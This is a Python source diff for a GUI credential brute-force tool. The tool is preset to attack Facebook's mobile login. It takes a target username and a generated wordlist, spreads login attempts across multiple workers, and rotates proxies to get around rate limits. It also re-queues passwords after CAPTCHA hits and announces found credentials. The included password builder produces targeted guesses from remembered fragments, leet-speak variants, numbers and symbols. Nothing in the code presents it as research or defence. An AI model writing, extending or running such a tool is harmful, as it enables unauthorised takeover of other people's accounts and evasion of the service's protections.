text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
self.current_pwd_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.PRIMARY)
self.current_pwd_label.pack(side="left", padx=(0, 14))
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
self.current_proxy_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.current_proxy_label.pack(side="left")
def _build_progress_bar(self):
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
pf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(pf, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
self.progress_bar = ctk.CTkProgressBar(
inner, fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
height=18, corner_radius=4)
self.progress_bar.pack(fill="x", expand=True)
self.progress_bar.set(0)
self.progress_text = ctk.CTkLabel(
inner, text="0.0% (0 / 0)",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.PRIMARY)
self.progress_text.pack(pady=(3, 0))
def _build_control_buttons(self):
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bf, fg_color="transparent")
inner.pack(padx=12, pady=10)
self.start_btn = CyberpunkTheme.create_neon_button(
inner, text="▶ START", command=self._on_start,
color=CyberpunkTheme.SUCCESS,
width=160, height=40, font=("Consolas", 14, "bold"))
self.start_btn.pack(side="left", padx=(0, 12))
self.pause_btn = CyberpunkTheme.create_neon_button(
inner, text="⏸ PAUSE", command=self._on_pause,
color=CyberpunkTheme.WARNING,
width=120, height=40, font=("Consolas", 14, "bold"))
self.pause_btn.pack(side="left", padx=(0, 12))
self.pause_btn.configure(state="disabled")
self.stop_btn = CyberpunkTheme.create_neon_button(
inner, text="⏹ STOP", command=self._on_stop,
color=CyberpunkTheme.ERROR,
width=120, height=40, font=("Consolas", 14, "bold"))
self.stop_btn.pack(side="left")
self.stop_btn.configure(state="disabled")
self.state_label = ctk.CTkLabel(
inner, text="◈ IDLE",
font=("Consolas", 15, "bold"),
text_color=CyberpunkTheme.TEXT_DIM, width=160)
self.state_label.pack(side="right", padx=(22, 0))
def _build_live_log(self):
ctk.CTkLabel(self, text="> LIVE LOG",
font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
self.log_text = ctk.CTkTextbox(
self, fg_color=CyberpunkTheme.BG_DARK,
border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 11), border_width=1)
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
self.log_text.insert("end",
"[SYSTEM] Ready.\n"
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
"[SYSTEM] 2. Enter username/email\n"
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
"[SYSTEM] 5. Press START\n")
self.log_text.configure(state="disabled")
# ── Speed → orchestrator ─────────────────────────────────────────────────
def _apply_speed_settings(self):
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
self.orchestrator.delay_min = float(self.delay_min_var.get())
self.orchestrator.delay_max = max(
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
try:
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
except ValueError:
self.orchestrator.request_timeout = 20
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
def _build_site_config(self) -> SiteConfig:
url = self.url_entry.get().strip() or _FB_LOGIN_URL
user_field = self.field_user_entry.get().strip() or "email"
pass_field = self.field_pass_entry.get().strip() or "pass"
if "facebook.com" in url or "fb.com" in url:
from urllib.parse import urlparse
cfg = SiteConfig()
cfg.login_url = url
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# Generic site
cfg = SiteConfig.for_url(url)
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# ── Button handlers ───────────────────────────────────────────────────────
def _on_start(self):
username = self.email_entry.get().strip()
if not username:
self._log("ERROR: Enter a target username/email first")
return
passwords = load_passwords()
if not passwords:
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
return
if self.proxy_pool.available_count == 0:
self._log("WARNING: No proxies committed — attack will run without proxies")
self._apply_speed_settings()
site_cfg = self._build_site_config()
self.orchestrator.configure(username, passwords, site_cfg)
self.orchestrator.start()
self.start_btn.configure(state="disabled")
self.pause_btn.configure(state="normal")
self.stop_btn.configure(state="normal")
w = self.orchestrator.max_workers
url = site_cfg.login_url
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
self._log(f" Target: {url}")
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
def _on_pause(self):
if self.orchestrator.is_running:
self.orchestrator.pause()
self.pause_btn.configure(text="▶ RESUME")
self._log("⏸ Attack paused")
self._notify("Attack PAUSED")
elif self.orchestrator.is_paused:
self.orchestrator.resume()
self.pause_btn.configure(text="⏸ PAUSE")
self._log("▶ Attack resumed")
self._notify("Attack RUNNING")
def _on_stop(self):
self.orchestrator.stop()
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
self._log("⏹ Attack stopped")
self._notify("Attack STOPPED")
# ── Orchestrator callbacks ────────────────────────────────────────────────
def _on_stats_update(self, stats: AttackStats):
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
e = int(stats.elapsed_seconds)
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
self.current_pwd_label.configure(text=stats.current_password or "")
self.current_proxy_label.configure(text=stats.current_proxy or "")
progress = self.orchestrator.progress / 100
self.progress_bar.set(progress)
total_pw = len(self.orchestrator.passwords)
self.progress_text.configure(
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
self.pwd_count_label.configure(
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.captcha_label.configure(
text=f"CAPTCHAs: {stats.captchas_hit}",
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
else CyberpunkTheme.TEXT_DIM))
if stats.current_password:
self._notify(
f"Trying: {stats.current_password[:24]} · "
f"{stats.attempts_per_second:.1f} r/s · "
f"{stats.active_workers} workers")
def _on_log_entry(self, entry: dict):
ts = datetime.now().strftime("%H:%M:%S")
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
def _on_success(self, password: str, proxy: str, result):
banner = (
"\n" + "" * 56 + "\n"
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
f" PASSWORD : {password}\n"
f" PROXY : {proxy}\n"
"" * 56 + "\n"
)
self._log(banner)
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
self._notify(f"*** PASSWORD FOUND: {password} ***")
def _on_captcha_hit(self, proxy: str):
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
def _on_state_change(self, state: AttackState):
colors = {
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
AttackState.PAUSED: CyberpunkTheme.WARNING,
AttackState.STOPPED: CyberpunkTheme.ERROR,
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
}
self.state_label.configure(
text=f"{state.value.upper()}",
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
if state in (AttackState.COMPLETED, AttackState.STOPPED):
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
# ── Helpers ───────────────────────────────────────────────────────────────
def _log(self, message: str):
self.log_text.configure(state="normal")
self.log_text.insert("end", message + "\n")
self.log_text.see("end")
self.log_text.configure(state="disabled")
def _notify(self, msg: str):
if self.status_callback:
self.status_callback(msg)
def _update_periodic(self):
try:
pwd_count = count_lines(PASSWORDS_FILE)
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
except Exception:
pass
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.after(2000, self._update_periodic)

221
src/gui/logs_tab.py Normal file
View File

@@ -0,0 +1,221 @@
"""
Logs Tab — view attempt history, filter, and export.
"""
import csv
import logging
from datetime import datetime
from typing import List, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.utils.logger import AttemptLogger
from config import ATTEMPT_LOG_FILE
logger = logging.getLogger(__name__)
class LogsTab(ctk.CTkFrame):
"""Tab for viewing and exporting attempt logs."""
def __init__(self, parent, logger_instance: AttemptLogger):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.attempt_logger = logger_instance
self._build_ui()
def _build_ui(self):
"""Build the logs tab UI."""
# Title
title = ctk.CTkLabel(
self, text="[ ATTEMPT LOGS ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Full history of all login attempts with timestamps and proxy details",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
subtitle.pack(pady=(0, 15))
# === Controls ===
controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER)
controls_frame.pack(fill="x", padx=15, pady=(0, 10))
inner_controls = ctk.CTkFrame(controls_frame, fg_color="transparent")
inner_controls.pack(fill="x", padx=15, pady=10)
# Stats
self.total_attempts_label = ctk.CTkLabel(
inner_controls, text="Total: 0",
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.TEXT_PRIMARY,
)
self.total_attempts_label.pack(side="left", padx=(0, 20))
self.success_count_label = ctk.CTkLabel(
inner_controls, text="Success: 0",
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.SUCCESS,
)
self.success_count_label.pack(side="left", padx=(0, 20))
self.fail_count_label = ctk.CTkLabel(
inner_controls, text="Failed: 0",
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.ERROR,
)
self.fail_count_label.pack(side="left", padx=(0, 20))
# Filter buttons
ctk.CTkLabel(
inner_controls, text="Filter:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(20, 5))
self.filter_var = ctk.StringVar(value="ALL")
filter_menu = ctk.CTkOptionMenu(
inner_controls, values=["ALL", "SUCCESS", "FAILED"],
variable=self.filter_var,
command=self._on_filter_change,
fg_color=CyberpunkTheme.BG_DARK,
button_color=CyberpunkTheme.TERTIARY,
button_hover_color=CyberpunkTheme.PRIMARY,
text_color=CyberpunkTheme.TEXT_PRIMARY,
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
dropdown_hover_color=CyberpunkTheme.TERTIARY,
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 11),
width=120,
)
filter_menu.pack(side="left", padx=(0, 20))
# Refresh button
self.refresh_btn = CyberpunkTheme.create_neon_button(
inner_controls, text="🔄 REFRESH",
command=self._refresh_logs,
color=CyberpunkTheme.TERTIARY,
width=120, height=28,
)
self.refresh_btn.pack(side="left", padx=(0, 10))
# Export button
self.export_btn = CyberpunkTheme.create_neon_button(
inner_controls, text="📥 EXPORT CSV",
command=self._on_export,
color=CyberpunkTheme.PRIMARY,
width=140, height=28,
)
self.export_btn.pack(side="left")
# === Log Table Header ===
header_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=28)
header_frame.pack(fill="x", padx=15)
cols = ["Timestamp", "Password", "Proxy IP", "Port", "Protocol", "Status", "Response", "Message"]
widths = [160, 180, 150, 60, 70, 80, 80, 200]
for col, w in zip(cols, widths):
ctk.CTkLabel(
header_frame, text=col,
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=w,
).pack(side="left", padx=3)
# === Scrollable Log List ===
self.log_list_frame = ctk.CTkScrollableFrame(
self, fg_color=CyberpunkTheme.BG_MEDIUM,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
self.log_list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 15))
self.log_rows = []
self._refresh_logs()
self._start_auto_refresh()
def _on_filter_change(self, choice: str):
"""Handle filter dropdown change."""
self._refresh_logs()
@staticmethod
def _format_response_ms(value) -> str:
if value in (None, ""):
return ""
text = str(value)
return text if text.endswith("ms") else f"{text}ms"
def _refresh_logs(self):
"""Refresh the log display from the logger buffer."""
# Clear existing rows
for widget in self.log_list_frame.winfo_children():
widget.destroy()
self.log_rows = []
# Get filtered logs
entries = self.attempt_logger.get_recent(500)
filter_val = self.filter_var.get()
if filter_val != "ALL":
entries = [e for e in entries if e["result"] == filter_val]
# Update stats
stats = self.attempt_logger.get_stats()
self.total_attempts_label.configure(text=f"Total: {stats['total']}")
self.success_count_label.configure(text=f"Success: {stats['successes']}")
self.fail_count_label.configure(text=f"Failed: {stats['failures']}")
# Add rows
for entry in reversed(entries): # Most recent first
row = ctk.CTkFrame(self.log_list_frame, fg_color="transparent", height=22)
row.pack(fill="x")
is_success = entry["result"] == "SUCCESS"
status_color = CyberpunkTheme.SUCCESS if is_success else CyberpunkTheme.ERROR
values = [
(entry.get("timestamp", "")[:19], CyberpunkTheme.TEXT_DIM, 160),
(entry.get("password", "")[:30], CyberpunkTheme.TEXT_PRIMARY, 180),
(entry.get("proxy_ip", ""), CyberpunkTheme.TEXT_SECONDARY, 150),
(str(entry.get("proxy_port", "")), CyberpunkTheme.TEXT_DIM, 60),
(entry.get("proxy_protocol", "").upper(), CyberpunkTheme.TEXT_DIM, 70),
(entry.get("result", ""), status_color, 80),
(self._format_response_ms(entry.get("response_time_ms", "")), CyberpunkTheme.TEXT_DIM, 80),
(entry.get("message", "")[:40], CyberpunkTheme.TEXT_SECONDARY, 200),
]
for text, color, width in values:
ctk.CTkLabel(
row, text=text, font=("Consolas", 10),
text_color=color, width=width, anchor="w",
).pack(side="left", padx=3)
def _start_auto_refresh(self):
"""Auto-refresh logs every 3 seconds while attack is active."""
if self.attempt_logger.buffer:
self._refresh_logs()
self.after(3000, self._start_auto_refresh)
def _on_export(self):
"""Export logs to a CSV file."""
from tkinter import filedialog, messagebox
filename = filedialog.asksaveasfilename(
title="Export Logs",
defaultextension=".csv",
filetypes=[("CSV files", "*.csv"), ("All files", "*.*")],
initialfile=f"attempt_log_{datetime.now().strftime('%Y%m%d_%H%M%S')}.csv",
)
if not filename:
return
try:
entries = self.attempt_logger.get_recent(10000)
if not entries:
messagebox.showinfo("Export", "No log entries to export.")
return
with open(filename, "w", newline="") as f:
if entries:
writer = csv.DictWriter(f, fieldnames=entries[0].keys())
writer.writeheader()
writer.writerows(entries)
messagebox.showinfo("Export", f"Exported {len(entries)} entries to:\n{filename}")
except Exception as e:
messagebox.showerror("Export Error", str(e))

View File

@@ -0,0 +1,657 @@
"""
Password Builder Tab — Crush-style password generation UI.
Configure fragments, rules, patterns, and generate targeted password candidates.
"""
import logging
import threading
from typing import List, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.engine.password_generator import PasswordGenerator, GenerationConfig
from src.utils.file_io import save_passwords, count_lines
from config import PASSWORDS_FILE
logger = logging.getLogger(__name__)
class PasswordBuilderTab(ctk.CTkFrame):
"""Tab for configuring and generating password candidates."""
def __init__(self, parent, status_callback=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.generator = PasswordGenerator()
self.generated_count = 0
self.status_callback = status_callback
self._stats_after_id = None
self._estimate_after_id = None
self._build_ui()
def _build_ui(self):
"""Build the complete password builder UI."""
# Title
title = ctk.CTkLabel(
self, text="[ PASSWORD BUILDER ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Configure fragments, rules, and patterns to generate targeted password candidates",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
subtitle.pack(pady=(0, 15))
# Main content area (scrollable)
self.content = ctk.CTkScrollableFrame(
self, fg_color=CyberpunkTheme.BG_MEDIUM,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10))
# === SECTION 1: Known Fragments ===
CyberpunkTheme.create_section_header(self.content, "> KNOWN FRAGMENTS")
frag_frame = ctk.CTkFrame(self.content, fg_color="transparent")
frag_frame.pack(fill="x", padx=10, pady=5)
frag_label = ctk.CTkLabel(
frag_frame, text="Enter any letters, parts, or fragments you remember:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
)
frag_label.pack(anchor="w")
self.fragments_entry = ctk.CTkEntry(
frag_frame, placeholder_text="e.g., a, h, pass, word... (comma separated)",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12),
height=35,
)
self.fragments_entry.pack(fill="x", pady=(5, 0))
CyberpunkTheme.apply_focus_glow(self.fragments_entry)
# === SECTION 2: Custom Words ===
CyberpunkTheme.create_section_header(self.content, "> CUSTOM WORDS")
words_frame = ctk.CTkFrame(self.content, fg_color="transparent")
words_frame.pack(fill="x", padx=10, pady=5)
words_label = ctk.CTkLabel(
words_frame, text="Add custom words or phrases (one per line):",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
)
words_label.pack(anchor="w")
self.words_text = ctk.CTkTextbox(
words_frame, height=80,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.words_text.pack(fill="x", pady=(5, 0))
# === SECTION 3: Number Options ===
CyberpunkTheme.create_section_header(self.content, "> NUMBER OPTIONS")
num_frame = ctk.CTkFrame(self.content, fg_color="transparent")
num_frame.pack(fill="x", padx=10, pady=5)
# Row 1
row1 = ctk.CTkFrame(num_frame, fg_color="transparent")
row1.pack(fill="x")
self.append_nums_var = ctk.BooleanVar(value=True)
ctk.CTkCheckBox(
row1, text="Append numbers", variable=self.append_nums_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.prepend_nums_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row1, text="Prepend numbers", variable=self.prepend_nums_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.use_years_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row1, text="Include years", variable=self.use_years_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left")
# Row 2: Number range
row2 = ctk.CTkFrame(num_frame, fg_color="transparent")
row2.pack(fill="x", pady=(5, 0))
ctk.CTkLabel(
row2, text="Range:", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.num_start_entry = ctk.CTkEntry(
row2, width=60, placeholder_text="0",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.num_start_entry.insert(0, "0")
self.num_start_entry.pack(side="left", padx=(0, 5))
ctk.CTkLabel(
row2, text="to", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_DIM,
).pack(side="left", padx=(0, 5))
self.num_end_entry = ctk.CTkEntry(
row2, width=80, placeholder_text="9999",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.num_end_entry.insert(0, "9999")
self.num_end_entry.pack(side="left")
# === SECTION 4: Symbol Options ===
CyberpunkTheme.create_section_header(self.content, "> SYMBOL OPTIONS")
sym_frame = ctk.CTkFrame(self.content, fg_color="transparent")
sym_frame.pack(fill="x", padx=10, pady=5)
row_s1 = ctk.CTkFrame(sym_frame, fg_color="transparent")
row_s1.pack(fill="x")
self.append_sym_var = ctk.BooleanVar(value=True)
ctk.CTkCheckBox(
row_s1, text="Append symbols", variable=self.append_sym_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.prepend_sym_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_s1, text="Prepend symbols", variable=self.prepend_sym_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.sym_between_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_s1, text="Symbols between", variable=self.sym_between_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left")
row_s2 = ctk.CTkFrame(sym_frame, fg_color="transparent")
row_s2.pack(fill="x", pady=(5, 0))
ctk.CTkLabel(
row_s2, text="Symbols:", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.symbols_entry = ctk.CTkEntry(
row_s2, placeholder_text="!@#$%^&*",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.symbols_entry.insert(0, "!@#$%^&*")
self.symbols_entry.pack(side="left", fill="x", expand=True)
# === SECTION 5: Capitalization ===
CyberpunkTheme.create_section_header(self.content, "> CAPITALIZATION")
cap_frame = ctk.CTkFrame(self.content, fg_color="transparent")
cap_frame.pack(fill="x", padx=10, pady=5)
row_c1 = ctk.CTkFrame(cap_frame, fg_color="transparent")
row_c1.pack(fill="x")
self.first_cap_var = ctk.BooleanVar(value=True)
ctk.CTkCheckBox(
row_c1, text="First letter caps", variable=self.first_cap_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.all_caps_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_c1, text="ALLCAPS", variable=self.all_caps_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.toggle_case_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_c1, text="Toggle case", variable=self.toggle_case_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left")
# === SECTION 6: Transform Options ===
CyberpunkTheme.create_section_header(self.content, "> TRANSFORMATIONS")
trans_frame = ctk.CTkFrame(self.content, fg_color="transparent")
trans_frame.pack(fill="x", padx=10, pady=5)
self.leet_var = ctk.BooleanVar(value=True)
ctk.CTkCheckBox(
trans_frame, text="Leet speak variants (a→4, e→3, i→1, o→0, s→5, t→7)",
variable=self.leet_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(anchor="w")
# === SECTION 7: Pattern Templates ===
CyberpunkTheme.create_section_header(self.content, "> PATTERN TEMPLATES")
pat_frame = ctk.CTkFrame(self.content, fg_color="transparent")
pat_frame.pack(fill="x", padx=10, pady=5)
pat_label = ctk.CTkLabel(
pat_frame, text="Select patterns to generate (uses {word}, {num}, {sym} placeholders):",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
)
pat_label.pack(anchor="w")
# Pattern checkboxes
self.pattern_vars = {}
default_patterns = [
("{word}{num}", True),
("{word}{sym}{num}", True),
("{num}{word}", False),
("{sym}{word}{num}", False),
("{word}{num}{sym}", True),
("{num}{sym}{word}", False),
("{num}{word}{sym}", False),
("{sym}{word}", False),
]
row_p = ctk.CTkFrame(pat_frame, fg_color="transparent")
row_p.pack(fill="x")
for i, (pattern, default) in enumerate(default_patterns):
if i > 0 and i % 4 == 0:
row_p = ctk.CTkFrame(pat_frame, fg_color="transparent")
row_p.pack(fill="x")
var = ctk.BooleanVar(value=default)
self.pattern_vars[pattern] = var
ctk.CTkCheckBox(
row_p, text=pattern, variable=var,
font=("Consolas", 11), checkbox_width=18, checkbox_height=18,
).pack(side="left", padx=(0, 15), pady=2)
# Custom pattern
row_cust = ctk.CTkFrame(pat_frame, fg_color="transparent")
row_cust.pack(fill="x", pady=(5, 0))
ctk.CTkLabel(
row_cust, text="Custom pattern:", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.custom_pattern_entry = ctk.CTkEntry(
row_cust, placeholder_text="e.g., {word}{num}{sym}{num}",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.custom_pattern_entry.pack(side="left", fill="x", expand=True)
# === SECTION 8: Length Constraints ===
CyberpunkTheme.create_section_header(self.content, "> LENGTH CONSTRAINTS")
len_frame = ctk.CTkFrame(self.content, fg_color="transparent")
len_frame.pack(fill="x", padx=10, pady=5)
row_l1 = ctk.CTkFrame(len_frame, fg_color="transparent")
row_l1.pack(fill="x")
ctk.CTkLabel(
row_l1, text="Min:", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.min_len_var = ctk.IntVar(value=6)
min_len_slider = ctk.CTkSlider(
row_l1, from_=4, to=32, number_of_steps=28,
variable=self.min_len_var,
fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
button_hover_color=CyberpunkTheme.SECONDARY,
width=200,
)
min_len_slider.pack(side="left", padx=(0, 10))
self.min_len_label = ctk.CTkLabel(
row_l1, text="6", font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY, width=30,
)
self.min_len_label.pack(side="left")
def update_min(val):
self.min_len_label.configure(text=str(int(val)))
min_len_slider.configure(command=update_min)
row_l2 = ctk.CTkFrame(len_frame, fg_color="transparent")
row_l2.pack(fill="x", pady=(5, 0))
ctk.CTkLabel(
row_l2, text="Max:", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.max_len_var = ctk.IntVar(value=32)
max_len_slider = ctk.CTkSlider(
row_l2, from_=4, to=32, number_of_steps=28,
variable=self.max_len_var,
fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
button_hover_color=CyberpunkTheme.SECONDARY,
width=200,
)
max_len_slider.pack(side="left", padx=(0, 10))
self.max_len_label = ctk.CTkLabel(
row_l2, text="32", font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY, width=30,
)
self.max_len_label.pack(side="left")
def update_max(val):
self.max_len_label.configure(text=str(int(val)))
max_len_slider.configure(command=update_max)
# === SECTION 9: Character Requirements ===
CyberpunkTheme.create_section_header(self.content, "> CHARACTER REQUIREMENTS")
req_frame = ctk.CTkFrame(self.content, fg_color="transparent")
req_frame.pack(fill="x", padx=10, pady=5)
row_r1 = ctk.CTkFrame(req_frame, fg_color="transparent")
row_r1.pack(fill="x")
self.req_upper_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_r1, text="Must have uppercase", variable=self.req_upper_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.req_lower_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_r1, text="Must have lowercase", variable=self.req_lower_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.req_digit_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_r1, text="Must have digit", variable=self.req_digit_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
self.req_symbol_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_r1, text="Must have symbol", variable=self.req_symbol_var,
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
).pack(side="left")
# === BOTTOM: Generate Button + Stats ===
bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bottom_frame.pack(fill="x", side="bottom")
# Progress bar row (hidden until generating)
self.gen_progress = ctk.CTkProgressBar(
bottom_frame,
fg_color=CyberpunkTheme.BG_MEDIUM,
progress_color=CyberpunkTheme.SECONDARY,
height=4,
corner_radius=0,
)
self.gen_progress.set(0)
self._gen_progress_anim = None
inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent")
inner_bottom.pack(fill="x", padx=15, pady=(8, 10))
# GPU status
gpu_text = f"GPU: {self.generator.gpu_info}" if self.generator.gpu_available else "CPU MODE"
self.gpu_label = ctk.CTkLabel(
